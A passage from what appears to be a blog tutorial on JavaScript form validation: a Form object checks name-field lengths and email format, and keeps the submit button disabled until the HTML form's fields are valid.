&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fieldName&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;Last&amp;nbsp;Name&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;validateLength&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(formEl,&amp;nbsp;type){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(formEl.value.length&amp;nbsp;&amp;gt;&amp;nbsp;type.maxLength&amp;nbsp;||&amp;nbsp;formEl.value.length&amp;nbsp;&amp;lt;&amp;nbsp;type.minLength&amp;nbsp;){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;formEl.className&amp;nbsp;=&amp;nbsp;formEl.className.replace(&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;&#39;&lt;/span&gt;+Form.validClass,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;false&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(formEl.className.indexOf(&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;&#39;&lt;/span&gt;+Form.validClass)&amp;nbsp;==&amp;nbsp;-1)&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;formEl.className&amp;nbsp;+=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;&#39;&lt;/span&gt;+Form.validClass;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;true&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;validateEmail&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(formEl){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;regEx&amp;nbsp;=&amp;nbsp;/^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@([0-9a-zA-Z][-\w]*[0-9a-zA-Z]\.)+[a-zA-Z]{2,9})$/;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;emailTest&amp;nbsp;=&amp;nbsp;regEx.test(formEl.value);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(emailTest)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(formEl.className.indexOf(&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;&#39;&lt;/span&gt;+Form.validClass)&amp;nbsp;==&amp;nbsp;-1)&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;formEl.className&amp;nbsp;+=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;&#39;&lt;/span&gt;+Form.validClass;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;true&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;formEl.className&amp;nbsp;=&amp;nbsp;formEl.className.replace(&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;&#39;&lt;/span&gt;+Form.validClass,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;false&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;getSubmit&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(formID){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;inputs&amp;nbsp;=&amp;nbsp;document.getElementById(formID).getElementsByTagName(&lt;span class=&quot;string&quot;&gt;&#39;input&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;for&lt;/span&gt;(&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;inputs.length;&amp;nbsp;i++){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(inputs[i].type&amp;nbsp;==&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;submit&#39;&lt;/span&gt;){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;inputs[i];&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;false&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;var Form = {
 validClass : &#39;valid&#39;,
 fname : {
  minLength : 1,
  maxLength : 15,
  fieldName : &#39;First Name&#39;
 },
 lname : {
  minLength : 1,
  maxLength : 25,
  fieldName : &#39;Last Name&#39;
 },
 validateLength : function(formEl, type){
  if(formEl.value.length &amp;gt; type.maxLength || formEl.value.length &amp;lt; type.minLength ){
   formEl.className = formEl.className.replace(&#39; &#39;+Form.validClass, &#39;&#39;);
   return false;
  } else {
   if(formEl.className.indexOf(&#39; &#39;+Form.validClass) == -1)
   formEl.className += &#39; &#39;+Form.validClass;
   return true;
  }
 },
 validateEmail : function(formEl){
  var regEx = /^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@([0-9a-zA-Z][-\w]*[0-9a-zA-Z]\.)+[a-zA-Z]{2,9})$/;
  var emailTest = regEx.test(formEl.value);
  if (emailTest) {
   if(formEl.className.indexOf(&#39; &#39;+Form.validClass) == -1)
   formEl.className += &#39; &#39;+Form.validClass;
   return true;
  } else {
   formEl.className = formEl.className.replace(&#39; &#39;+Form.validClass, &#39;&#39;);
   return false;
  }
 },
 getSubmit : function(formID){
  var inputs = document.getElementById(formID).getElementsByTagName(&#39;input&#39;);
  for(var i = 0; i &amp;lt; inputs.length; i++){
   if(inputs[i].type == &#39;submit&#39;){
    return inputs[i];
   }
  }
  return false;
 }
};
&lt;/pre&gt;
So this is quite basic but can easily be expanded upon.&lt;br /&gt;
To break this down first we create a new property which is just the string name of our &#39;valid&#39; css class&lt;br /&gt; that when applied to the form field, adds valid effects such as a green border. We also define our two sub-objects, &lt;b&gt;fname&lt;/b&gt; and &lt;b&gt;lname&lt;/b&gt;,&lt;br /&gt; so we can define their own properties that can be used by methods elsewhere, these properties are &lt;b&gt;minLength&lt;/b&gt;&lt;br /&gt; which is the minimum amount of characters these fields can have, &lt;b&gt;maxLength&lt;/b&gt; which is the max characters&lt;br /&gt; the field can have and &lt;b&gt;fieldName&lt;/b&gt; which doesn&#39;t actually get used, but could be grabbed for&lt;br /&gt; things like identifying the field with a user friendly string in an error message (eg. &#39;First Name field is required.&#39;).&lt;br /&gt;
Next we create a validateLength method that accepts two arguments: &lt;b&gt;formEl&lt;/b&gt; the DOM element to validate&lt;br /&gt; and the &lt;b&gt;type&lt;/b&gt; which refers to one of the sub-object to use (i.e. fname or lname).&lt;br /&gt; This function checks whether the length of the field is between the minLength and maxLength range, if it&#39;s not&lt;br /&gt; then we remove our valid class (if it exists) from the element and return false, otherwise if it is then we add the valid class and return true.&lt;br /&gt;
Then we have a validateEmail method which accepts a DOM element as an arguement, we then test this DOM elements value against an&lt;br /&gt; email type regular expression; again if it passes we add our class and return true and vice versa.&lt;br /&gt;
Finally we have a getSubmit method. This method is given the id of the form and then loops through all input elements inside the specified form&lt;br /&gt; to find which one has a type of submit (type=&quot;submit&quot;). The reason for this method is to return the submit button so we can&lt;br /&gt; disable it until the form is ready to submit.&lt;br /&gt;
Let&#39;s put this validator object to work on a real form. First we need our HTML.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;body&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;lt;form&amp;nbsp;id=&lt;span class=&quot;string&quot;&gt;&quot;ourForm&quot;&lt;/span&gt;&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;label&amp;gt;First&amp;nbsp;Name&amp;lt;/label&amp;gt;&amp;lt;input&amp;nbsp;type=&lt;span class=&quot;string&quot;&gt;&quot;text&quot;&lt;/span&gt;&amp;nbsp;/&amp;gt;&amp;lt;br&amp;nbsp;/&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;label&amp;gt;Last&amp;nbsp;Name&amp;lt;/label&amp;gt;&amp;lt;input&amp;nbsp;type=&lt;span class=&quot;string&quot;&gt;&quot;text&quot;&lt;/span&gt;&amp;nbsp;/&amp;gt;&amp;lt;br&amp;nbsp;/&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;label&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;input&amp;nbsp;type=&lt;span class=&quot;string&quot;&gt;&quot;text&quot;&lt;/span&gt;&amp;nbsp;/&amp;gt;&amp;lt;br&amp;nbsp;/&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;input&amp;nbsp;type=&lt;span class=&quot;string&quot;&gt;&quot;submit&quot;&lt;/span&gt;&amp;nbsp;value=&lt;span class=&quot;string&quot;&gt;&quot;submit&quot;&lt;/span&gt;&amp;nbsp;/&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;/form&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;lt;/body&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    &amp;lt;body&amp;gt;
    &amp;lt;form id=&quot;ourForm&quot;&amp;gt;
        &amp;lt;label&amp;gt;First Name&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; /&amp;gt;&amp;lt;br /&amp;gt;
        &amp;lt;label&amp;gt;Last Name&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; /&amp;gt;&amp;lt;br /&amp;gt;
        &amp;lt;label&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; /&amp;gt;&amp;lt;br /&amp;gt;
        &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;
    &amp;lt;/form&amp;gt;
    &amp;lt;/body&amp;gt;
&lt;/pre&gt;
Now let&#39;s access these input objects using JavaScript and validate them when the form submits.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;addEvent(window,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;load&#39;&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;ourForm&amp;nbsp;=&amp;nbsp;document.getElementById(&lt;span class=&quot;string&quot;&gt;&#39;ourForm&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;submit_button&amp;nbsp;=&amp;nbsp;Form.getSubmit(&lt;span class=&quot;string&quot;&gt;&#39;ourForm&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;submit_button.disabled&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;disabled&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;checkForm(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;inputs&amp;nbsp;=&amp;nbsp;ourForm.getElementsByTagName(&lt;span class=&quot;string&quot;&gt;&#39;input&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(Form.validateLength(inputs[0],&amp;nbsp;Form.fname)){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(Form.validateLength(inputs[1],&amp;nbsp;Form.lname)){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(Form.validateEmail(inputs[2])){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;submit_button.disabled&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;false&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;true&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;submit_button.disabled&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;disabled&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;false&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;checkForm();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addEvent(ourForm,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;keyup&#39;&lt;/span&gt;,&amp;nbsp;checkForm);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addEvent(ourForm,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;submit&#39;&lt;/span&gt;,&amp;nbsp;checkForm);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;});&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;addEvent(window, &#39;load&#39;, function(){
 var ourForm = document.getElementById(&#39;ourForm&#39;);
 var submit_button = Form.getSubmit(&#39;ourForm&#39;);
 submit_button.disabled = &#39;disabled&#39;;
 function checkForm(){
  var inputs = ourForm.getElementsByTagName(&#39;input&#39;);
  if(Form.validateLength(inputs[0], Form.fname)){
